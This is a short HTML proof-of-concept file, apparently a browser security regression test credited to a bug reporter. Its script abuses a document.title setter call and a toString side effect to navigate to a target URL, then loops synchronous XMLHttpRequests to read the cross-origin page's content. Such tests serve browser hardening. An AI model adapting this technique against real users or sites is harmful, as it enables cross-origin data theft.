blob: 5fe33e9695f30635c0671faa2e0c025abc87a074 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<!-- test by moz_bug_r_a4@yahoo.com -->
<body onload="a()">
<script>
var targetUrl = "http://example.com/";
var l;
function a() {
var o = {};
o.toString = function() {
l();
return "a";
};
var f = Object.getOwnPropertyDescriptor(Document.prototype, "title").set;
setTimeout(f.bind(document), 0, o);
}
function l() {
var l = false;
onunload = function() {
l = true;
};
location = targetUrl;
do {
var r = new XMLHttpRequest();
r.open("GET", location.href, false);
r.overrideMimeType("text/plain");
try { r.send(null); }
catch (e) {}
} while (!l);
}
</script>
|
